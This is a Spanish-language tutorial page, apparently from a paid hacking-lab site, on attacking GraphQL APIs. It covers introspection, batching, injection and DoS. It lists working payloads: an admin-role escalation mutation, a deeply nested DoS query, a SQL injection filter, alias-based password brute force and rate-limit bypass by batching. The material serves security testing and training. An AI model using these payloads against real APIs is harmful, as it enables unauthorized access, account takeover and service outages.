Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →GraphQL APIs
Introspección, batching, inyecciones y DoS en APIs GraphQL
Respuesta rápida
¿Qué es GraphQL APIs?
GraphQL permite a los clientes solicitar exactamente los datos que necesitan. Pero si la introspección está habilitada, el atacante puede mapear toda la API. El batching sin límite y las queries recursivas pueden causar DoS.
Severidad
Alto
Frecuencia
Común
Payloads
8
Pasos
6
Severidad
Alto
Frecuencia
Común
Payloads
8
A diferencia de REST, GraphQL expone un solo endpoint. La introspección permite descubrir todos los tipos, queries y mutations. Las queries pueden ser anidadas recursivamente (DoS), batcheadas (brute force) o contener inyecciones en los arguments.
Dónde buscar
Endpoint /graphql
Busca /graphql, /api/graphql, /v1/graphql, /gql. Envía una introspection query.
Network tab
En DevTools busca requests POST con body que contenga 'query' o 'mutation'.
Apollo/Relay
Si la app usa Apollo o Relay, probablemente usa GraphQL. Busca __APOLLO_STATE__ en el HTML.
Metodología
Detectar GraphQL
POST /graphql con body: {"query": "{__typename}"}. Si responde → GraphQL confirmado.
Introspección
{__schema{types{name,fields{name,type{name}}}}} — si funciona, tienes el mapa completo de la API.
Enumerar queries y mutations
Usa la introspección para listar todas las queries y mutations disponibles.
Probar batching
Envía un array de queries: [{query:"..."},{query:"..."},...x100]. ¿Se procesan todas?
Inyección en arguments
Los arguments de las queries van directo a la BD. Prueba SQLi/NoSQLi en filtros.
DoS vía recursión
Si hay tipos recursivos (User→posts→author→posts→...), crea una query profundamente anidada.
Caso real
GraphQL introspection + mutation no documentada → Admin access
Introspección habilitada
El endpoint /graphql permite introspección. Se descubre toda la estructura de la API.
Mutation oculta descubierta
Entre las mutations hay updateUserRole(userId, role) — no documentada en la UI pero accesible vía API.
Escalación de privilegios
mutation { updateUserRole(userId: "mi-id", role: "admin") { id role } } — cambia el rol a admin.
Lección: La introspección de GraphQL expone TODA la API, incluyendo endpoints que no se usan en la UI. Siempre ejecuta la introspection query al encontrar GraphQL.
Payloads
Detección
{"query": "{__typename}"}Introspección completa
{"query": "{__schema{types{name,fields{name,type{name}}}}}"}Field suggestion
{"query": "{us}"} → error: "Did you mean user, users, userById?"Batching
[{"query":"{ me { email } }"},{"query":"{ me { email } }"},...x1000]Payloads avanzados(requiere cuenta)
Mutation de escalación
mutation { updateUserRole(userId: "mi-id", role: "admin") { id role } }Recursión DoS
{ users { posts { author { posts { author { posts { ... } } } } } } }SQL en argument
{ users(filter: "' OR 1=1--") { id email } }Brute force vía alias
{ a1: login(user:"admin",pass:"123") { token }, a2: login(user:"admin",pass:"456") { token }, ... }Contenido exclusivo
Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass
Crear cuenta gratisHerramientas
GraphQL Voyager
Visualiza el schema GraphQL como un grafo interactivo. Pega el resultado de la introspección.
https://graphql-kit.com/graphql-voyager/
InQL (Burp)
Genera queries automáticamente desde la introspección y permite testing visual.
Burp → Extensions → InQL → URL del endpoint
graphql-cop
Scanner de seguridad GraphQL: introspección, batching, DoS, field suggestions.
python3 graphql-cop.py -t https://target.com/graphql
Tips
Introspección = mapa completo
Si la introspección está habilitada, tienes acceso al schema completo: tipos, queries, mutations, campos.
Field suggestions = introspección parcial
Aunque la introspección esté deshabilitada, los errores de campo suelen sugerir nombres válidos.
Batching bypassa rate limiting
Si envías 100 queries en un solo request, muchos rate limiters lo cuentan como 1 request.
Contenido relacionado
Practica GraphQL APIs con labs reales
Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.